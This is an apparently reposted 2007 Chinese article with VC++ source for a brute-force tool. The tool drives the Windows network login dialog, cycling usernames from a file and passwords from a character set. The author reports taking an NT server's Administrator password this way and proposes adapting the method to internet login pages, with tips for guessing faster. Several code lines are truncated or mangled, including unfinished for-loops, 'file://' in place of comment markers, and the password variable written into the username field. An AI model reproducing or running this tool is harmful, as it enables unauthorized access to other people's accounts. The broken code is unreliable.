Windows網絡用戶登錄密碼的猜解
發表于:2007-07-14來源:作者:點擊數:
標簽:
Windows 網絡 用戶密碼猜解算法的主要思想是:利用Windows提供的窗口枚舉函數EnumWindows ()找到網絡登錄窗口。利用子窗口枚舉函數EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位網絡登錄窗口上的各個控件。利用SendDlgItemMessage()或SetD
Windows網絡用戶密碼猜解算法的主要思想是:利用Windows提供的窗口枚舉函數EnumWindows ()找到網絡登錄窗口。利用子窗口枚舉函數EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位網絡登錄窗口上的各個控件。利用SendDlgItemMessage()或SetDlgItemText()來輸入用戶名及密碼。利用SendMessage()發送“確定”消息。這樣一來,就利用程序完成了整個網絡登錄過程。在重復這個過程中采用枚舉的用戶名和密碼,進而完成網絡用戶名及密碼的枚舉猜解。
一、猜解過程流程:
為說明問題,下面只寫出主要的過程。對于關鍵過程給出用VC++實現的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序將再枚舉一個新的用戶名,然后重新枚舉這個字符集合。關于源碼中各函數的具體用法,請參閱MSDN。關于多線程的用法,可參閱《VisualC++技術內幕》。
下面給出關鍵流程的源代碼
1. 全局變量:
struct _Thread
{
CWinThread *pThread;
};
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數
CEvent gEventNextPass;//取下一個密碼,為實現同步引進
CEvent gEventPassOk;//已取得密碼,為實現同步引進
CEvent gEventNextUser;//取下一個用戶名,為實現同步引進
CEvent gEventUserOk;// 已取得用戶名,為實現同步引進
CMutex gMutex;//互斥量,只允許單線程訪問
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當前使用的密碼。
char cCurrentUser[MAX_USER_LENGTH];//當前使用的用戶名
2. 線程啟動:
{
file://密碼枚舉線程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過程的代碼差不多
}
file://用戶名枚舉線程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚舉線程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}
3.窗口及子窗口枚舉
UINT ThreadProc(LPVOID *pPraram)
{
while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
char lpWinTitle[MAX_LINELENGTH];
::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);
if(strcmp(lpWinTitle,sTitle)==0)// sTitle:網絡登錄窗口的窗口名
{ gMutex.Lock(INFINITE);//防止兩個線程同時操作
while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));
gMutex.Unlock();
return FALSE;
}
return TRUE;
}
BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)
{
char sChildName[MAX_LINELENGTH];
::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);
file://處理編輯控件,登錄窗口中一般只有兩個編輯框,可用MicroSoft Spy++查看窗口的
file://各個子窗口
// 的屬性。通過對比各控件的風格或名字來區別各控件。
if(strcmp(sChildName,"Edit")==0)
{
DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);
if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//這是密碼輸入編輯控件
{
gEventNextPass.SetEvent();//發送“新密碼”事件
WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密碼完成”事件
gEventPassOk.ResetEvent(); file://復位
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
file://把新密碼填到密碼輸入框,也可用SetWindowText()
bPass=TRUE;//記錄密碼已填入
if(bUser&&(hOk!=NULL))//如果用戶名已填入,“確定”按鈕已找到。
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“確定”按鈕送消息,參照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登錄,初始化
return FALSE;
}
return TRUE;
}
file://非此即彼,這是用戶名輸入編輯控件
if((dWinSty&ES_READONLY)!=ES_READONLY)
{
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
file://把新用戶名填到用戶名輸入框,也可用SetWindowText()
bUser=TRUE;// 新用戶名已填入用戶名輸入框
if(bPass&&(hOk!=NULL)) 如果密碼已填入,“確定”按鈕已找到。
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“確定”按鈕送消息,參照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登錄,初始化
return FALSE;
}
}
return TRUE;
}
file://如果是按鈕控件
if(strcmp(sChildName,"Button")==0)
{
char sChildTitle[MAX_LINELENGTH];
::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);
if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;
// sButtonOk:登錄窗口中“OK”按鈕的標題
hOk=hwnd;//記錄“OK”窗口句柄
if(bUser&&bPass)
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“確定”按鈕送消息,參照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登錄,初始化
return FALSE;
}
return TRUE;
}
return TRUE;
}
4.用戶名枚舉:
UINT GetNextUserF(FILE *file)
{
char cUser[MAX_LINELENGTH ],*token;
FILE *fUser;
int i,flag=0;
if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用戶名的路徑及文件名
{
MessageBox(GetActiveWindow(),"打開文件時出錯。","消息",0);
if(fUser!=NULL)fclose(fUser);
return 0;
}
while(!feof(fUser))
{
for(i=0;i
if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))
{
bCheckUser=FALSE;//記錄用戶名枚舉完
fclose(fUser);
return 0;
}
token=strtok(cUser,SETPRATE);// #define SETPRATE " \t\n\r"
do
{
WaitForSingleObject(gEventNextUser,INFINITE);
// 等待“新用戶名”事件
gEventNextUser.ResetEvent();//復位。
for(i=0;i
strcpy(cCurrentUser,token);//改變當前用戶名。
gEventUserOk.SetEvent();//發送“用戶名完成”事件
}while((token=strtok(NULL,SETPRATE))!=NULL);
}
return 1;
}
5.密碼枚舉:
UINT GetNextPassL(LPVOID pParam)
{
int i,j,iPre;
char cBuf[MAX_PASSWORD_LENGTH];
BEGIN:
for(int m=0;m
{
file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:當前密碼組成字符集合列表
file://例如:cCurrentCharList =“abcd”:表示枚舉的密碼由abcd組成
file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向當前密碼
file://組成字符集合列表的列表
file://例如:4444:表示生成密碼為“dddd”,
file://4231:表示生成密碼為“dbca”......
cCurrentPCList[m]= iCharCount;
// iCharCount:密碼組成字符的字符個數
}
while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 結束
{
for(int n=0;n
while(1)
{
for(i=0;i
{
cBuf[i]=cCurrentCharList[cCurrentPCList[i]];
}
WaitForSingleObject(gEventNextPass,INFINITE);
// 等待“新密碼”事件
gEventNextPass.ResetEvent();//復位。
for(int n=0;n
strcpy( cCurrentPass,cBuf);//改變當前密碼。
gEventPassOk.SetEvent();//送密碼完成事件
file://進行cCurrentPCList數組的處理。
if(( cCurrentPCList[i-1]--)==0)break;
}
file://最后一位復iCharCount;;
cCurrentPCList[i-1]= iCharCount;
iPre=1;//借位標志
for(j=i-2;j>=0;j--)
{
if(( cCurrentPCList[j]-=iPre)<0)
{
if(j==0)break;//結束。
cCurrentPCList[j]= iCharCount;iPre=1;//復位J,向上借位。
}
else {iPre=0;continue;}//不必再向上借位。
}
}
if(cCurrentPCList[0]<=0)
{
file://復位,進入下一個循環。
if(!bCheckUser)//如果用戶名枚舉完
{
MessageBox(GetActiveWindow(),"所有的用戶名及密碼已枚舉完。","消息",0);
return 0;
}
gEventNextUser.SetEvent();//發送“新用戶名”事件
WaitForSingleObject(gEventUserOk,INFINITE);
file://等待“用戶名完成”事件
gEventUserOk.ResetEvent();//復位。
goto BEGIN;
}
return 0;
}
二、在局域網及互連網的應用:
筆者利用按照以上算法編寫的軟件,在一個局域網的WindowsNT工作站上成功地取得了另一臺WindowsNT
服務器的Administrator的密碼。同樣們也可以利用這一算法編寫猜解互連網上密碼的軟件。關鍵的問題是如何在網頁中定位用戶名輸入框和密碼輸入框以及“確定”按鈕。
三、存在的問題及解決辦法:
在10M/100M局域網里,登錄WindowsNT服務器失敗后,大約0.7秒鐘左右后,才再次彈出網絡登錄對話框。這一個時間開銷嚴重地制約著猜解的速度。折衷的解決辦法是通過“資源管理器”同時打開多個網絡登錄對話框(從“網絡鄰居”只能打開一個網絡登錄對話框),這樣可成倍提高猜解的速度,但仍是太慢。此外,可利用幾臺計算機同時猜解。至于猜解互連網上密碼,其速度可想而知了。不過也沒關系,許多的密碼是數字組成的,更多的密碼沒有超出26個字符加10個數字的范圍。而且人們使用這26個字符和10個數字的頻率是不一樣的,可以在枚舉時先枚舉使用頻率高的。
原文轉自:http://www.anti-gravitydesign.com